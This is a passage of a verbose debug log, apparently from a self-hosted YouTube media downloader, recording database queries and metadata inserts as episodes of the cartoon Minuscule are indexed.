THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89071] 00:52:25.186 [debug] Current batch of media processed. Will check again in 1000ms 00:52:26.187 [debug] Current batch of media processed. Will check again in 1000ms 00:52:27.188 [debug] Current batch of media processed. Will check again in 1000ms 00:52:28.189 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 344, "filename" => "/downloads/Miniscule Season 1/2020-04-21 Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1)/Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1) [VPFUibx1tX4].mp4", "id" => "VPFUibx1tX4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VPFUibx1tX4", "playlist_index" => 87, "timestamp" => 1587479404, "title" => "Minuscule - Deux chenilles/Caterpillars in Pairs (Season 1)", "upload_date" => "20200421"} 00:52:28.190 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1544.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:28.191 [debug] QUERY OK source="sources" db=0.4ms idle=1545.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:28.193 [debug] QUERY OK source="media_items" db=1.0ms idle=1546.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-21 14:30:04Z], 4] 00:52:28.196 [debug] QUERY OK source="media_items" db=2.1ms idle=1548.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Deux chenilles/Caterpillars in Pairs (Season 1)", "24206954-eb14-4083-8642-66dfeec4a2f0", "VPFUibx1tX4", 344, false, 4, "https://www.youtube.com/watch?v=VPFUibx1tX4", 87, "/downloads/Miniscule Season 1/2020-04-21 Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1)/Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1) [VPFUibx1tX4].mp4", false, false, false, [], 1, ~U[2020-04-21 14:30:04Z], ~U[2025-12-14 07:52:28Z], ~U[2025-12-14 07:52:28Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Deux chenilles/Caterpillars in Pairs (Season 1)", "VPFUibx1tX4", 344, false, 4, "https://www.youtube.com/watch?v=VPFUibx1tX4", "/downloads/Miniscule Season 1/2020-04-21 Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1)/Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1) [VPFUibx1tX4].mp4", false, ~U[2020-04-21 14:30:04Z]] 00:52:28.196 [debug] QUERY OK source="sources" db=0.4ms idle=570.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:28.197 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:28.198 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89073] 00:52:28.198 [debug] Current batch of media processed. Will check again in 1000ms 00:52:29.200 [debug] Current batch of media processed. Will check again in 1000ms 00:52:30.201 [debug] Current batch of media processed. Will check again in 1000ms 00:52:31.142 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:31.202 [debug] Current batch of media processed. Will check again in 1000ms 00:52:32.203 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 339, "filename" => "/downloads/Miniscule Season 1/2020-04-14 Minuscule - Fourmi rose⧸Rosy (Season 1)/Minuscule - Fourmi rose⧸Rosy (Season 1) [sZ9wJcqZe-I].mp4", "id" => "sZ9wJcqZe-I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sZ9wJcqZe-I", "playlist_index" => 88, "timestamp" => 1586874607, "title" => "Minuscule - Fourmi rose/Rosy (Season 1)", "upload_date" => "20200414"} 00:52:32.204 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1061.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:32.204 [debug] QUERY OK source="sources" db=0.3ms idle=570.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:32.206 [debug] QUERY OK source="media_items" db=0.8ms idle=559.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-14 14:30:07Z], 4] 00:52:32.208 [debug] QUERY OK source="media_items" db=1.5ms idle=561.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fourmi rose/Rosy (Season 1)", "63ddcce4-c069-4b4d-ae8f-8797a10e2748", "sZ9wJcqZe-I", 339, false, 4, "https://www.youtube.com/watch?v=sZ9wJcqZe-I", 88, "/downloads/Miniscule Season 1/2020-04-14 Minuscule - Fourmi rose⧸Rosy (Season 1)/Minuscule - Fourmi rose⧸Rosy (Season 1) [sZ9wJcqZe-I].mp4", false, false, false, [], 1, ~U[2020-04-14 14:30:07Z], ~U[2025-12-14 07:52:32Z], ~U[2025-12-14 07:52:32Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fourmi rose/Rosy (Season 1)", "sZ9wJcqZe-I", 339, false, 4, "https://www.youtube.com/watch?v=sZ9wJcqZe-I", "/downloads/Miniscule Season 1/2020-04-14 Minuscule - Fourmi rose⧸Rosy (Season 1)/Minuscule - Fourmi rose⧸Rosy (Season 1) [sZ9wJcqZe-I].mp4", false, ~U[2020-04-14 14:30:07Z]] 00:52:32.208 [debug] QUERY OK source="sources" db=0.2ms idle=563.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:32.209 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:32.210 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89075] 00:52:32.210 [debug] Current batch of media processed. Will check again in 1000ms 00:52:33.211 [debug] Current batch of media processed. Will check again in 1000ms 00:52:34.212 [debug] Current batch of media processed. Will check again in 1000ms 00:52:35.213 [debug] Current batch of media processed. Will check again in 1000ms 00:52:36.214 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 319, "filename" => "/downloads/Miniscule Season 1/2020-03-31 Minuscule - Hop⧸Petit Repas entre Mouches (Season 1)/Minuscule - Hop⧸Petit Repas entre Mouches (Season 1) [hJ_LHByxa0Y].mp4", "id" => "hJ_LHByxa0Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hJ_LHByxa0Y", "playlist_index" => 89, "timestamp" => 1585672202, "title" => "Minuscule - Hop/Petit Repas entre Mouches (Season 1)", "upload_date" => "20200331"} 00:52:36.215 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=573.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:36.215 [debug] QUERY OK source="sources" db=0.2ms idle=570.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:36.217 [debug] QUERY OK source="media_items" db=0.8ms idle=570.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-31 16:30:02Z], 4] 00:52:36.238 [debug] QUERY OK source="media_items" db=21.0ms idle=572.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop/Petit Repas entre Mouches (Season 1)", "d15b8ace-5355-454b-8abc-09ac05b58ec4", "hJ_LHByxa0Y", 319, false, 4, "https://www.youtube.com/watch?v=hJ_LHByxa0Y", 89, "/downloads/Miniscule Season 1/2020-03-31 Minuscule - Hop⧸Petit Repas entre Mouches (Season 1)/Minuscule - Hop⧸Petit Repas entre Mouches (Season 1) [hJ_LHByxa0Y].mp4", false, false, false, [], 1, ~U[2020-03-31 16:30:02Z], ~U[2025-12-14 07:52:36Z], ~U[2025-12-14 07:52:36Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop/Petit Repas entre Mouches (Season 1)", "hJ_LHByxa0Y", 319, false, 4, "https://www.youtube.com/watch?v=hJ_LHByxa0Y", "/downloads/Miniscule Season 1/2020-03-31 Minuscule - Hop⧸Petit Repas entre Mouches (Season 1)/Minuscule - Hop⧸Petit Repas entre Mouches (Season 1) [hJ_LHByxa0Y].mp4", false, ~U[2020-03-31 16:30:02Z]] 00:52:36.239 [debug] QUERY OK source="sources" db=0.4ms idle=593.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:36.240 [debug] QUERY OK source="media_profiles" db=0.4ms idle=24.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:36.241 [debug] QUERY OK source="media_items" db=0.7ms idle=24.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89078] 00:52:36.241 [debug] Current batch of media processed. Will check again in 1000ms 00:52:37.242 [debug] Current batch of media processed. Will check again in 1000ms 00:52:38.243 [debug] Current batch of media processed. Will check again in 1000ms 00:52:39.244 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 342, "filename" => "/downloads/Miniscule Season 1/2020-03-24 Minuscule - Hoquet⧸Hiccups (Season 1)/Minuscule - Hoquet⧸Hiccups (Season 1) [bcaDaKR1pqw].mp4", "id" => "bcaDaKR1pqw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bcaDaKR1pqw", "playlist_index" => 90, "timestamp" => 1585071002, "title" => "Minuscule - Hoquet/Hiccups (Season 1)", "upload_date" => "20200324"} 00:52:39.245 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1599.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:39.246 [debug] QUERY OK source="sources" db=0.4ms idle=1600.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:39.248 [debug] QUERY OK source="media_items" db=1.1ms idle=1601.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-24 17:30:02Z], 4] 00:52:39.251 [debug] QUERY OK source="media_items" db=2.1ms idle=1602.9ms INSERT INTO "media_items" AS 